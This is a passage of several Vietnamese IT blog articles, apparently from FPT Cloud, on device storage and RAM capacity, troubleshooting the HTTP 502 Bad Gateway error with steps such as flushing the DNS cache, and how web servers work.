qua ba tầng cache tới CPU để xử lý. Những phần L1, L2, L3 sẽ giúp dữ liệu truyền qua được với tốc độ tăng dần để CPU xử lý nhanh nhất Bộ nhớ đệm sẽ giúp cho máy tính xử lý nhanh hơn tuy nhiên nếu như để lâu và không xóa đi sẽ khiến cho lượng file rác tăng lên và giảm hiệu suất của máy tính xuống. Tuy rằng không nên quá thường xuyên làm điều này nhưng thỉnh thoảng cũng phải dọn dẹp nếu như cảm thấy cần thiết.  Bộ nhớ trong của điện thoại  Tuy rằng hiện tại bộ nhớ trong gồm có cả bộ nhớ Cache, ROM và RAM, nhưng trên máy tính bảng, điện thoại thì thuật ngữ này chỉ dung lượng bộ nhớ sử dụng để lưu trữ những dữ liệu và không bao gồm RAM. [caption id="attachment_21760" align="aligncenter" width="771"] Bộ nhớ trong của điện thoại hiện nay[/caption] Thuật ngữ này ở trên điện thoại sẽ không giống như ở trên máy tính. Theo đó ở trên điện thoại nó hoàn toàn có thể thay đổi, ghi, suất và tùy chỉnh nhưng ROM máy tính lại là một thành phần không thể bị ghi đè hoặc thay đổi. Cách chọn thiết bị có dung lượng bộ nhớ trong phù hợp  Như vậy có thể thấy rằng bộ nhớ trong hiện tại đang là một trong những bộ phận vô cùng quan trọng khi sử dụng những thiết bị di động hay máy tính. Theo đó để lựa chọn được những thiết bị với dung lượng bộ nhớ phù hợp bạn cần thực hiện theo hướng dẫn chi tiết sau đây:  Chọn dung lượng ổ cứng RAM Cách thức lựa chọn RAM máy tính Để có thể sử dụng mượt mà và đa nhiệm cơ bản mà không lo tình trạng lag giật trong suốt một khoảng thời gian dài thì tốt nhất nên lựa chọn bộ nhớ trong khoảng từ 8GB RAM trở lên. Nhưng với những ai sử dụng để làm đồ họa, chơi game thường xuyên thì nên lựa chọn RAM 16GB để có thể đáp ứng được nhu cầu cá nhân.  Những tác vụ đồ họa, lập trình và dựng phim thường xuyên hay đa nhiệm với rất nhiều những tác vụ web nặng thì tốt nhất nên lựa chọn trong khoảng từ 32GB trở lên.  [caption id="attachment_21764" align="aligncenter" width="771"] Cách thức lựa chọn RAM máy tính hiện nay[/caption] Cách thức lựa chọn bộ nhớ ổ cứng cho máy tính Với bộ nhớ SSD thì bạn hoàn toàn có thể lựa chọn trong khoảng từ 128GB nếu như có nhu cầu cài hệ điều hành. Và sau đó hoàn toàn có thể sử dụng song song SSD cùng với HDD để thực hiện lưu trữ dữ liệu. Với HDD thì nên lựa chọn từ 1TB lên nhầm đáp ứng nhu cầu lưu trữ trong một khoảng thời gian dài.  Chọn dung lượng ROM trong cho điện thoại Hiện tại trên điện thoại dung lượng thấp nhất nên lựa chọn đó chính là 64GB vì thói quen quay video và chụp ảnh thường xuyên của người dùng.  Bên cạnh đó các ứng dụng điện thoại trên thị trường hiện nay cũng có dung lượng trung bình lên tới vài trăm MB. Ngoài ra chưa kể tới những file bộ nhớ đệm đã được tạo ra khi ứng dụng hoạt động sẽ khiến cho bộ nhớ bị đầy. Do đó tối thiểu 64GB là dành cho những người dùng cơ bản. Những hãng điện thoại hiện tại cũng đã đưa ra mất dung lượng thấp nhất dành cho bộ nhớ đó chính là 64GB.  [caption id="attachment_21768" align="aligncenter" width="771"] Chọn dung lượng ROM trong cho điện thoại phù hợp[/caption] Hướng dẫn xem dung lượng ổ cứng trên máy tính và điện thoại  Ổ cứng là một trong những thành phần không thể thiếu của điện thoại và máy tính. Nó được sử dụng để có thể lưu trữ những dữ liệu cũng như thông số quan trọng người dùng quan tâm nhất đó chính là dung lượng. Vậy liệu rằng bạn đã biết được cách thức kiểm tra dung lượng trong ổ cứng hay chưa?  Xem dung lượng ổ cứng trên máy tính Cách thức kiểm tra dung lượng của ổ cứng SSD  Bước 1: Click chuột phải vào mục My Computer, sau đó chọn vào Manage Bước 2: Click vào Disk Management [caption id="attachment_21772" align="aligncenter" width="771"] Hướng dẫn cách thức kiểm tra dung lượng của ổ cứng SSD[/caption] Theo như hình trên thì mục Disk 0, chính là tổng dung lượng trên ổ cứng của bạn. Theo đó máy tính hiển thị là 298.09 GB. Tại mục Capacity sẽ thể hiện dung lượng của những ổ máy tính. Theo đó hầu hết Windows sẽ thể hiện số dung lượng trên ổ cứng nhỏ hơn thông số nhà sản xuất đã ghi ở trên ổ cứng. Nếu như ổ cứng là 320GB thì khi đó máy tính chỉ thể hiện 298.09 GB. Điều này là vì các quy ước về khái niệm GB trong Windows hoàn toàn khác so với những hãng sản xuất ổ cứng. Cụ thể: Với những nhà phát hành ổ cứng hiện tại đang quy ước Gigabyte = GB =10003=1.000.000.000 byte. Với Windows thì Gibibyte = GB = 10243 = 1.073.741.824 byte.  Do sự khác biệt này nên những ổ cứng 320GB Windows sẽ ghi nhận là 298GB. Đối với những ổ 500GB thì sẽ thể hiện thông số là 465,5GB. Khi tiến hành kiểm tra dung lượng ổ cứng trống bạn hoàn toàn có thể biết mức độ tiêu hao của những phần mềm, chương trình, dung lượng video, và hình ảnh cũng như file cài đặt,... Cách thức kiểm tra dung lượng trống trên ổ cứng máy tính  Theo đó để kiểm tra dung lượng trống trên ổ cứng máy tính bạn có thể thực hiện theo hai cách đơn giản sau đây:  Cách 1:  Mở My Computer, sau đó click chuột phải vào trong ổ đĩa cần xem và chọn Properties. Khi đó sẽ hiển thị dung lượng ổ đĩa trống.  [caption id="attachment_21776" align="aligncenter" width="771"] Cách thức kiểm tra dung lượng trống trên ổ cứng máy tính[/caption] Bên cạnh đó đối với Windows 7 trở đi thì bạn hoàn toàn có thể theo dõi dung lượng bộ nhớ trong rất đơn giản ngay sau khi mở lên computer My Computer. Cách 2:  Sử dụng Disk Manager bằng cách bấm tổ hợp Windows + R để có thể mở hộp thoại Run, sau đó để mở thì gõ diskmgmt.msc. [caption id="attachment_21780" align="aligncenter" width="771"] Cách thức kiểm tra dung lượng trống trên ổ cứng máy tính bằng Disk Manager[/caption] Tại đây bạn hoàn toàn có thể theo dõi dung lượng bộ nhớ trong trống của toàn bộ đĩa hiện đang có trên máy tính.  [caption id="attachment_21784" align="aligncenter" width="771"] Theo dõi dung lượng bộ nhớ trong trống của toàn bộ đĩa hiện đang có trên máy tính[/caption] Tuy nhiên cần lưu ý nếu như ổ đĩa chuẩn bị hết dung lượng thì phải có những biện pháp để xóa bớt những file không cần thiết hoặc mở rộng để cải thiện được dung lượng. Đặc biệt là đối với ổ đĩa C thông thường nếu như chuẩn bị hết dung lượng trống thì sẽ phát sinh ra nhiều trục trặc và khiến cho máy tính của bạn bị giảm hiệu năng trong suốt quá trình hoạt động. Theo đó bạn hoàn toàn có thể tăng dung lượng bộ nhớ trong bằng nhiều thủ thuật khác nhau.  Xem dung lượng ổ cứng trên điện thoại Như đã biết hiện tại bộ nhớ trong chính là một trong các thông số để người dùng có thể biết được ngay sau khi kiểm tra cấu hình của điện thoại. Theo đó cách kiểm tra cấu hình của điện thoại có thể thực hiện đơn giản theo hướng dẫn sau đây: Kiểm tra cấu hình của Android Đề kiểm tra cấu hình của Android bạn có thể thực hiện theo hai cách đơn giản sau đây:  Cách 1: Truy cập vào phần "Cài đặt", sau đó chọn "Chăm sóc thiết bị" chọn vào  "Lưu trữ hoặc Bộ nhớ". Khi đó sẽ thấy dung lượng của RAM và ROM ngay trên thiết bị. Cách 2: Tải ứng dụng kiểm tra CPU-Z. Sau khi tải xong cần khởi động để biết được chi tiết cấu hình điện thoại bằng cách chọn thẻ "DEVICE". Sau đó sẽ hiển thị cấu hình gồm có hẹn sản xuất, tên máy, kích thước của màn hình, trọng lượng, độ phân giải của màn hình, dung lượng của bộ nhớ trong và tổng dung lượng RAM,... [caption id="attachment_21788" align="aligncenter" width="771"] Hướng dẫn kiểm tra cấu hình của Android[/caption] >>> Xem thêm: Lỗi 502 Bad gateway là gì? Nguyên nhân & cách khắc phục từ A-Z Kiểm tra RAM của điện thoại iPhone Đề kiểm tra bộ nhớ trong của điện thoại iPhone bạn cần thực hiện theo các bước đơn giản sau đây: Bước 1: Tải về điện thoại ứng dụng Battery Pro. Bước 2: Sau khi tải bạn sẽ biết các thông tin về cấu hình của điện thoại. Để có thể kiểm tra thông tin liên quan tới bộ nhớ, RAM và CPU bạn chỉ cần nhấn vào đó và tất cả những thông tin sẽ được hiện ra.  [caption id="attachment_21792" align="aligncenter" width="771"] Hướng dẫn kiểm tra RAM của điện thoại iPhone[/caption] Cách kiểm tra RAM còn trống trên điện thoại Khi kiểm tra dung lượng bộ nhớ trong còn trống sẽ giúp cho người dùng có thể kiểm soát được bộ nhớ đã sử dụng hoặc bộ nhớ còn trống một cách dễ dàng. Từ đó có thể dễ dàng chủ động xóa bớt đi những ứng dụng đang chạy nền để trả lại bộ nhớ trống cho thiết bị với ứng dụng không có nhu cầu dùng tuy nhiên vẫn chạy nền dưới phần cứng.   Việc kiểm tra dung lượng bộ nhớ trong còn trống sẽ giúp tăng khả năng xử lý thiết bị và giúp cho điện thoại xử lý được mượt mà hơn. Đặc biệt là tránh tình trạng thoát ứng dụng đột ngột, không mở ứng dụng được và liên quan tới các ứng dụng khác.  Để kiểm tra RAM còn trống trên điện thoại bạn có thể thực hiện theo hai cách đơn giản sau đây:  Cách 1: Chạm giữ trên màn hình chính sau đó chọn vào widget và chọn widget. Nhấn giữ sau đó đưa ra bên ngoài màn hình chính và chọn Widget đã hiển thị ở trên màn hình. [caption id="attachment_21796" align="aligncenter" width="771"] Hướng dẫn cách kiểm tra RAM còn trống trên điện thoại[/caption] Cách 2: Sử dụng những ứng dụng về quản lý bộ nhớ của từ bên thứ 3 ví dụ như CCleaner hay Clean Master,… Những ứng dụng này đều hoàn toàn miễn phí và được nhận sự đánh giá cao từ phía người dùng trước đó.  Những bài viết liên quan: CRUD là gì? So sánh điểm khác biệt giữa CRUD và REST PuTTY là gì? Hướng dẫn tải và cài đặt PuTTY trên các hệ điều hành Máy ảo là gì? 4 Phần mềm máy ảo miễn phí tốt nhất hiện nay Cloudflare là gì? Hướng dẫn sử dụng Cloudflare từ A – Z Như vậy qua bài viết trên FPT Cloud đã cung cấp đầy đủ những thông tin liên quan tới bộ nhớ trong trên thiết bị di động và máy tính. Có thể thấy rằng đây là một trong những bộ phận vô cùng quan trọng và rất nhiều người hiện đang quan tâm, tìm hiểu. Hy vọng rằng với những thông tin chi tiết về cách thức kiểm tra trên sẽ giúp cho bạn thực hiện thành công cũng như có được thông tin mà bản thân mong muốn.

Lỗi 502 Bad gateway là gì? Nguyên nhân & cách khắc phục từ A-Z

15:55 08/03/2022
502 Bad Gateway hiện tại là 1 lỗi mã trạng thái HTTP. Điều này Đồng nghĩa với việc 1 máy chủ sẽ nhận được 1 phản hồi không hợp lệ của 1 máy chủ khác. Đây là 1 lỗi rất thường xuyên gặp phải khi sử dụng máy tính. Để hiểu rõ hơn về lỗi 502 Bad Gateway là gì, nguyên nhân và cách khắc phục, hãy cùng FPT Cloud tìm hiểu qua bài viết sau. 502 Bad gateway là lỗi gì?  Mỗi khi người dùng truy cập trực tiếp vào 1 trang Web hoặc trình duyệt sẽ gửi một yêu cầu tới máy chủ Web. Theo đó máy chủ web sẽ nhận và xử lý những yêu cầu. Ngay sau đó sẽ gửi lại những tài nguyên đã được yêu cầu với tiêu đề là HTTP cũng như mã trạng thái HTTP.  [caption id="attachment_21626" align="aligncenter" width="771"] Lỗi 502 Bad Gateway là gì?[/caption] Mã trạng thái HTTP thông thường sẽ không được nhìn thấy ngoại trừ những trường hợp gặp sự cố. Về cơ bản thì đây là cách máy chủ thông báo tới cho người dùng biết được đã xảy ra sự cố và đi kèm với mã là cách chuẩn đoán sự cố.  Hiện tại có rất nhiều những loại mã lỗi về trạng thái 500 đa dạng khác nhau (bao gồm 500, 501, 502, 503, 504 và 520, v.v...). Theo đó mỗi mã sẽ có ý nghĩa khác nhau một chút. Các lỗi này sẽ cho thấy được rằng yêu cầu đã chấp nhận, tuy nhiên máy chủ ngăn chặn lại vì thực hiện những yêu cầu này.  Đối với trường hợp error 502 Bad Gateway thì nó đặc biệt có ý nghĩa là 1 máy chủ. Trong quá trình hoạt động giống như 1 proxy hay gateway đã nhận được những phản hồi không hợp lệ của máy chủ inbound. >>> Xem thêm: RAID là gì? Các loại RAID và cách triển khai hiệu quả nhất Dấu hiệu của lỗi 502 Bad gateway Hiện tại lỗi 502 Bad Gateway trên mỗi một trang web sẽ khác nhau. Nhưng nếu như gặp lỗi này thì bạn sẽ nhìn thấy 1 số những thông báo lỗi cơ bản sau đây: "502. That's an error." "502 Service Temporarily Overloaded" "502 Bad Gateway" "Error 502" "502 Proxy Error" "Temporary Error (502)" "HTTP 502" "HTTP Error 502 - Bad Gateway",... Lỗi 502 Bad Gateway đang hiển thị tại cửa sổ trình duyệt Internet cũng sẽ tương tự như tại trang web. Đối với Twitter "Fail Whale" là 1 lỗi "khét tiếng". Lỗi này có bản chất là lỗi 502 Bad Gateway. [caption id="attachment_21630" align="aligncenter" width="771"] Dấu hiệu của lỗi 502 Bad gateway trên mỗi một trang web sẽ khác nhau[/caption] Thông thường trong Windows Update lỗi Bad Gateway tạo ra thông báo lỗi WU_E_PT_HTTP_STATUS_BAD_GATEWAY hoặc mã lỗi 0x80244021 Thông thường khi những dịch vụ của Google ví dụ như Gmail hoặc Google search xảy ra lỗi 502 Bad Gateway sẽ hiển thị là Server Error (hay lỗi máy chủ). Ngoài ra trong 1 số trường hợp, trên màn hình chỉ hiện thị 1 cách đơn giản là 502. Nguyên nhân dẫn đến 502 Bad gateway Lỗi 502 Bad Gateway thông thường xảy ra là vì sự cố của những máy chủ trực tuyến và bạn không thể nào kiểm soát được nó.  Tuy nhiên cần lưu ý rằng: Thông thường hệ thống thực hiện quản lý web server thuộc Microsoft IIS sẽ cung cấp những thông tin chi tiết hơn cho người dùng về nguyên nhân của lỗi 502 Bad Gateway. Theo đó nó sẽ cung cấp thông qua việc bổ sung thêm những thông số sau 502. Ví dụ “HTTP Error 502.3 - Web-server-received-an-invalid-response-while-acting-as-a-gateway-or-proxy” Lỗi 502 Bad gateway ảnh hưởng như thế nào đến hiệu quả SEO? [caption id="attachment_21634" align="aligncenter" width="771"] Lỗi 502 Bad gateway ảnh hưởng như thế nào đến hiệu quả SEO hiện nay?[/caption] Trong trường hợp nếu như website ngừng hoạt động một khoảng thời gian dài. Có thể là vài giờ thì khi đó Google có thể có lỗi 502 Bad gateway này là 1 vấn đề cấp bách cần phải giải quyết. Chính vì điều này hoàn toàn có thể gây ảnh hưởng trực tiếp tới thứ hạng của trang Web.  10 Cách khắc phục 502 Bad gateway hiệu quả nhất  Trước khi tìm hiểu về cách khắc phục lỗi 502 Bad Gateway, hãy cùng điểm qua những nguyên nhân chính gây ra lỗi này ngay sau đây. Theo đó: Chủ yếu là vì sự xung đột của máy chủ trực tuyến và máy chủ của bạn.  Cấu hình của máy chủ bị sai hoặc bị quá tải vì lượng traffic quá lớn.  Có thể lỗi này là vì trình duyệt của bạn.  Có sự cố đối với plugin, DNS hoặc bộ nhớ cache trình duyệt.  Như vậy để sửa lỗi 502 Bad Gateway này một cách hiệu quả cần thực hiện theo hướng dẫn chi tiết sau đây Tải lại trang web Để khắc phục được lỗi này hãy thử tải trang Web lại một lần nữa. Theo đó bạn có thể thực hiện bằng cách click vào nút Reload/ Refresh hoặc nhấn vào phím F5. [caption id="attachment_21638" align="aligncenter" width="771"] 10 Cách khắc phục 502 Bad gateway hiệu quả nhất dành cho máy tính hiện nay[/caption] Nếu như lỗi 502 Bad Gateway này không xuất hiện lại nữa sẽ đồng nghĩa với việc quá trình truy cập của bạn chỉ gặp vấn đề một cách tạm thời và sẽ không gây ảnh hưởng quá nhiều.  Sử dụng một trình duyệt khác Hiện tại có một số trường hợp trình duyệt của bạn gặp vấn đề và khiến cho việc kết nối của thiết bị cũng như server gặp một số trục trặc. Chính vì vậy hãy thử dùng chế độ ẩn danh hoặc sử dụng cho người khác để trực tiếp truy cập vào trong trang Web. Nếu như việc truy cập diễn ra một cách bình thường thì khi đó lỗi 502 bad gateway này sẽ xuất phát chủ yếu từ website của bạn. [caption id="attachment_21642" align="aligncenter" width="771"] Cách khắc phục 502 Bad gateway hiệu quả nhất là sử dụng một trình duyệt khác[/caption] Như vậy bạn có thể thực hiện gỡ bỏ cài đặt này đi và tải cũng như cài đặt trình duyệt lại để có thể khắc phục được lỗi.  Một số những trình duyệt khác mà bạn có thể sử dụng có thể kể đến như Microsoft Edge, Opera, Chrome hay Firefox,... Khởi động trình duyệt web lại Lỗi 502 Bad Gateway này rất có thể xảy ra là vì máy tính gặp sự cố tại quá trình duyệt trang Web. Theo đó cách thức đơn giản nhất để có thể khắc phục được lỗi này đó chính là khởi động trình duyệt lại bằng cách đóng toàn bộ những tab có trên trình duyệt. Ngay sau đó cần mở lại trình duyệt và đồng thời thử mở lại trang Web muốn truy cập.  [caption id="attachment_21646" align="aligncenter" width="771"] Cách thức đơn giản nhất khắc phục được lỗi này đó chính là khởi động trình duyệt lại[/caption] Kiểm tra, khởi động lại những thiết bị mạng Trong một số trường hợp đôi khi những sự cố trên switches, router, modem hay những thiết bị hệ thống mạng cũng là nguyên nhân chính gây ra lỗi này. Đối với trường hợp này thì bạn chỉ phải khởi động lại những thiết bị như switches, router, modem,... là hoàn tất.  Khởi động lại máy tính Hiện tại một số những sự cố tạm thời trong suốt quá trình máy tính kết nối cùng với internet có thể sẽ là nguyên nhân chính để gây ra lỗi 502 Bad Gateway này. Chính vì vậy cách đơn giản nhất để có thể khắc phục được tình trạng này đó chính là khởi động máy tính của bạn lại.  Xóa bộ nhớ cookies hoặc cache của trình duyệt Một trong những cách thức để có thể khắc phục được lỗi 502 Bad Gateway đó chính là xóa bộ nhớ cookies hoặc cache của trình duyệt. Cụ thể: Xóa bộ nhớ cache  [caption id="attachment_21650" align="aligncenter" width="771"] Xóa bộ nhớ cache trong trình duyệt để có thể khắc phục được lỗi này trên máy tính[/caption] Chính bộ nhớ cache đôi khi sẽ khiến trình duyệt tạm thời không cập nhật dữ liệu mới được khi lỗi 502 Bad Gateway này đã khắc phục. Theo đó nên thử xóa cache rồi tải lại trang để có thể kiểm tra trước khi thử những cách thức phức tạp hơn phía sau. Xóa cookies  Những File bị lỗi hoặc những file đã "lỗi thời" lưu trữ trên trình duyệt có thể là nguyên nhân chính gây ra lỗi 502 Bad Gateway này. Trong trường hợp nếu như bạn đã sử dụng phương pháp xóa bộ nhớ cache nhưng thi đó trình duyệt vẫn không thể nào khắc phục được lỗi này thì có thể bạn nên thử xóa cookies để khắc phục. Thay đổi DNS Đối với trường hợp nếu như bạn là một người lập trình web thì website thực hiện thay đổi dịch vụ hosting hay chuyển qua dùng 1 địa chỉ IP mới chắc chắn sẽ khiến cho người dùng không thể truy cập vào dữ liệu của Web ngay lập tức. Theo đó bạn nên kiểm tra tình huống trong quá trình chuyển đổi lại, việc này thông thường sẽ mất tới vài giờ để có thể hoàn thành.  [caption id="attachment_21654" align="aligncenter" width="771"] Cách khắc phục 502 Bad gateway hiệu quả nhất là thay đổi DNS[/caption] Còn đối với trường hợp nếu như bạn là người trực tiếp chi cập vào trang Web thì có thể thay đổi một DNS khác. Theo đó có thể kể đến như sử dụng những Google Public DNS thay vì dùng DNS mặc định để truy cập vào trang web. >>> Xem thêm: SAP là gì? Các lợi ích và ứng dụng của phần mềm SAP Xóa cached DNS Lỗi 502 Bad Gateway xảy ra có thể là vì Cached DNS bị sai hay cũ. Trong trường hợp này bạn chỉ cần thực hiện flush DNS là hoàn tất. Theo đó để xóa cached DNS cần thực hiện theo những bước sau: Với máy Windows thực hiện: Bước 1: Sử dụng tổ hợp Windows + R, sau đó gõ cmd và nhấn OK để mở Windows command prompt. [caption id="attachment_21658" align="aligncenter" width="771"] Xóa cached DNS trên máy Windows bằng tổ hợp Windows + R[/caption] Bước 2: Gõ "ipconfig /flushdns" sau đó nhấn Enter. [caption id="attachment_21662" align="aligncenter" width="771"] Gõ "ipconfig /flushdns" sau đó nhấn Enter để có thể xóa cached DNS trên máy Windows[/caption] Với MacOS thực hiện: Bước 1: Nhấn Command + Space sau đó tìm kiếm "Terminal" ở trên Spotlight và nhấn đúp chuột vào kết quả đầu tiên để mở Terminal. [caption id="attachment_21666" align="aligncenter" width="771"] Xóa cached DNS trên máy MacOS bằng tổ hợp Command + Space[/caption] Bước 2: Nhập mã sau "sudo dscacheutil –flushcache". [caption id="attachment_21670" align="aligncenter" width="771"] Nhập mã sau "sudo dscacheutil –flushcache" để xóa cached DNS trên máy MacOS[/caption] Kiểm tra Plugins lại Một trong những cách thức để có thể khắc phục được lỗi 502 Bad Gateway này đó chính là kiểm tra lại extensions và plugins. Chính vì vậy rất có thể nguyên nhân dẫn tới lỗi này là vì caching plugin. Để có thể xác định được có phải là do caching plugin bạn nên vô hiệu hóa nó trong một khoảng thời gian ngắn. Theo đó bước đầu tiên là di chuyển đến thư mục wp-content  sau đó đổi tên thư mục plugins. Nếu như trang Web hoạt động lại bình thường ngay sau khi vô hiệu hóa toàn bộ plugin thì điều này đồng nghĩa với việc một trong những plugin đã gây ra lỗi. Ngày sau đó bạn hoàn toàn có thể đổi lại tên thư mục trở thành plugins như ban đầu. Ngay sau đó nên thử lần lượt vô hiệu hóa mỗi một plugin để có thể xác định chính xác được plugin nào đã gây lỗi. Khởi động ở chế độ Safe Mode [caption id="attachment_21674" align="aligncenter" width="771"] Cách khắc phục 502 Bad gateway hiệu quả nhất là khởi động ở chế độ Safe Mode[/caption] Nguyên nhân chính gây ra lỗi 502 Bad Gateway này rất có thể là với những tiện ích mở rộng hay do cài đặt trình duyệt. Chính vì vậy hãy thử chạy trình duyệt với chế độ ẩn danh (Safe Mode) vì nếu như trình duyệt chạy ở chế độ này thì nó sẽ chạy với những thiết lập mặc định, sẽ không có toolbar, tiện ích mở rộng và add-on. Ngoài ra bạn cũng có thể liên hệ trực tiếp tới nhà cung cấp dịch vụ mạng hoặc liên hệ tới website để có thể khắc phục được tình trạng này. Tất cả những cách thức khắc phục trên vô cùng đơn giản và tốt nhất bạn nên thử khắc phục ngay tại nhà trước khi tốn chi phí sửa chữa. Những bài viết liên quan: Lỗi 552 là gì? Cách sửa lỗi Connection timed out nhanh nhất Hướng dẫn chỉnh sửa Theme WordPress từ cơ bản đến nâng cao Cách sửa lỗi “Server Execution Failed” Đơn Giản & Hiệu Quả IDS là gì? Phân tích so sánh IDS, IPS và tường lửa chi tiết Như vậy qua bài viết trên FPT Cloud đã cung cấp tất cả những thông tin chi tiết liên quan đến lỗi 502 Bad Gateway. Theo đó có thể thấy rằng đây là một lỗi rất thường xuyên gặp phải khi truy cập trang Web. Hy vọng qua bài viết trên sẽ giúp bạn hiểu rõ hơn về lỗi này và cách thức khắc phục hiệu quả.

Web server là gì? Tìm hiểu cơ chế hoạt động của web server

16:11 07/03/2022
Web server là gì? Quá trình lưu trữ file trang web, giao tiếp qua http,.. Đòi hỏi một quy trình thực hiện bài bản. Web server giữ một vai trò cực kỳ quan trọng trong quá trình này. Vậy chính xác cần hiểu web server là gì? Cơ chế hoạt động cụ thể ra sao? FPT Cloud sẽ cùng bạn giải đáp trong góc tổng hợp sau đây. Web server là gì? Web server đơn giản là mấy chủ web, hoạt động như một hệ thống làm nhiệm vụ chứa website. Nó có khả năng kết nối mở rộng với nhiều mạng máy tính khác. Trong đó, máy chủ là nơi lưu trữ dữ liệu tải lên của người dùng, từ mạng lưới tệp tin HTML. [caption id="attachment_21308" align="aligncenter" width="771"] Web server là gì?[/caption] Web server còn có thể định nghĩa theo khái niệm phần cứng và phần mềm. Nếu xét trên khía cạnh phần cứng, web server chính là hệ thống máy tính chuyên dụng thực hiện chức năng lưu trữ file. Nó có khả năng phân cảm đến mạng lưới thiết bị của người dùng đầu cuối. Đồng thời kết nối mạng internet, hỗ trợ truy cập qua tin miền. Còn nếu xét trên khía cạnh phần mềm, web server là tập hợp nhiều phần điều khiển, cho phép người dùng truy cập đến web. Mỗi http server lại ứng với một phần mềm chứa địa chỉ URL và giao thức trình duyệt http. Khi bạn truy cập đến bất kỳ trình duyệt web nào, một file cũng lập tức bị lưu lại trên máy chủ. Tiếp đến, trình duyệt lại yêu cầu file đó phải thông qua giao thức http. Nếu một yêu cầu đầu nối đến máy chủ web, máy chủ http sẽ lập tức gửi tài liệu theo yêu cầu thông qua giao thức http. >>> Xem thêm: Socket IO là gì? Kiến thức nền tảng cơ bản về Socket IO Cơ chế hoạt động của web server Khi truy cập vào một trang web nào đó có nghĩa là bạn đang gửi yêu cầu từ web server. Phần mô tả cơ chế hoạt động sau đây sẽ giúp bạn hiểu hơn về bản chất web server là gì. [caption id="attachment_21312" align="aligncenter" width="771"] Cơ chế hoạt động của web server[/caption] Tên miền biến đổi IP địa chỉ Đầu tiên trình duyệt của người dùng hãy xác nhận IP mà tên miền tech.vccloud.vn cần trỏ đến. Trường hợp thông tin không lưu trữ trong bộ nhớ cache, hệ thống cần gửi yêu cầu từ ít nhất 1 máy chủ DNS. Tiếp theo, máy chủ DNS bắt đầu cho phép trình duyệt xác định địa chỉ IP ứng với tên miền cần trỏ đến. Đây cũng chính là vị trí đặt trang web. Tuy nhiên cần lưu ý rằng IP chỉ có thể xác định khi website lần đầu tiên tên truy cập với máy chủ. Máy chủ gửi yêu cầu đến trang khách Sau bước biến đổi tên miền, máy chủ server lại tiếp tục người yêu cầu đến máy khách client. Khi đó, trình duyệt đương nhiên đã xác định địa chỉ IP của trang web. Lúc này, nó có thể tiếp tục yêu cầu URL từ máy chủ web. Trình duyệt báo địa chỉ trên trang web Máy chủ web thực hiện phản hồi bằng cách gửi đến sang đã yêu cầu. Trường hợp trang đó không tồn tại hoặc đang xảy ra lỗi, một thông báo lỗi cũng đồng thời xuất hiện. Trình hiển thị website Trình hiển thị website sẽ nhận và hiển thị trang dựa theo yêu cầu. Khi đề cập đến trình duyệt web hoặc máy chủ web, bạn có thể hiểu theo hướng khái niệm máy khách và máy chủ. Phần cứng và phần mềm của web server Mỗi mô hình web server bao gồm hệ thống phần cứng và tập hợp các phần mềm. Vậy chúng có vai trò và chức năng ra sao? [caption id="attachment_21316" align="aligncenter" width="771"] Mỗi mô hình web server bao gồm hệ thống phần cứng và tập hợp các phần mềm[/caption] Phần cứng  Thường là một máy tính thực hiện chức năng lưu trữ file (bộ phận quan trọng cấu thành web). Chẳng hạn như file ảnh, file javacript, HTML,.. Web server cần kết nối với internet, hỗ trợ truy cập qua domain. Phần mềm  Phần mềm có chức năng theo dõi người dùng web khi họ truy cập đến file host từ ít nhất một HTTP server. Mỗi HTTP server lại tương ứng với phần mềm có khả năng đọc URLs. Mọi trình duyệt đều cần đến file host chạy trên web server. Thông thường, trình duyệt đó sẽ gửi yêu cầu file qua HTTP. Nếu một yêu cầu gửi đến đích xác web server, HTTP cũng lập tức gửi muốn yêu cầu phản hồi.  Cách thức để công khai một trang web Muốn công khai một trang web bất kỳ, bạn luôn cần đến máy chủ web tĩnh và máy chủ web động. Máy chủ web tĩnh: Thường là một server kèm theo HTTP server. Sở dĩ gọi server tĩnh là bởi đơn giản file gửi đến không hề thay đổi tình trạng web. Máy chủ web động: Gồm một máy chủ web tĩnh kèm theo một số phần mềm mở rộng. Mỗi khi xây dựng một trang web cuối, bạn dễ dàng quan sát application server tự động điền đầy đủ nội dung vào HTLM tempate. Tuy nhiên, đó không phải tài liệu thực. >>> Xem thêm: PostgreSQL là gì? Tìm hiểu về hệ quản trị cơ sở dữ liệu PostgreSQL Cách thức lưu trữ file và giao tiếp thông qua HTTP trong web server  [caption id="attachment_21320" align="aligncenter" width="771"] Web server có nhiệm vụ chính là thực hiện lưu trữ file của website[/caption] Trong quá trình tìm hiểu web server là gì, bạn cần lưu ý tham khảo cơ chế lưu trữ và giao tiếp thông qua HTTP. Cách lưu trữ các file Web server có nhiệm vụ chính là thực hiện lưu trữ file của website. Bao gồm toàn bộ file HTML và một số file liên quan khác. Xét trên khía cạnh kỹ thuật, tất cả file đều có thể lưu trên máy tính. Thế nhưng nếu muốn thuận lợi hơn, bạn nên lưu trữ chúng trên web server. Giao tiếp thông qua HTTP Ngoài chức năng lưu trữ, web server còn có thể giao tiếp thông qua HTTP. Cụ thể, HTTP hỗ trợ cách thức truyền siêu văn bản giữa hai thiết bị. Hãy hiểu đơn giản nó là tập hợp nhiều quy tắc truyền thông giữa hai thiết bị, cụ thể ở đây là hai máy tính. HTTP giống như giao thức nguyên văn, không phân cấp. Textual: Gồm toàn bộ lệnh văn bản thuần túy, người dùng dễ dàng đọc. Stateless: Gồm máy chủ và máy khách không lưu lại thao tác thực hiện trước đó. HTTP đề ra quy tắc rõ ràng với cả người dùng và hệ thống máy chủ giao tiếp. Như vậy trong quá trình thực hiện giao tiếp, bạn cần ghi nhớ một vài điểm dưới đây. Chỉ máy khách mới có quyền người yêu cầu đến máy chủ. Đồng thời, chỉ có máy chủ có thể phản hồi yêu cầu của máy khách. Nếu tiến hành gửi một file qua HTTP, máy khách phải cung cấp chính xác URL của file. Máy chủ web có trách nhiệm phản hồi tất cả yêu cầu HTTP, đặc biệt là thông báo lỗi. Trên hệ thống máy chủ web, máy chủ HTTP cần thực hiện xử lý và phản hồi yêu cầu. Khi yêu cầu gửi đến, máy chủ HTTP thứ nhất cần kiểm tra URL xem có khớp với file hay không. Nếu khớp, máy chủ lập tức gửi nội dung file về trình duyệt. Trường hợp không khớp, máy chủ sẽ tạo file phù hợp. >>> Xem thêm dịch vụ cho thuê máy chủ vật lý của FPT Cloud Một số web server thường gặp  Trong mục cuối của bài viết về chủ đề web server là gì, FPT Cloud sẽ giải đáp một vài thắc mắc thường gặp về dạng máy chủ này. Web server Nginx Đây là loại máy chủ web có reverse proxy với mã nguồn mở cho nhiều giao thức phổ biến. Chẳng hạn như http, https, smtp,.. Bên cạnh đó, đây còn là dạng máy chủ 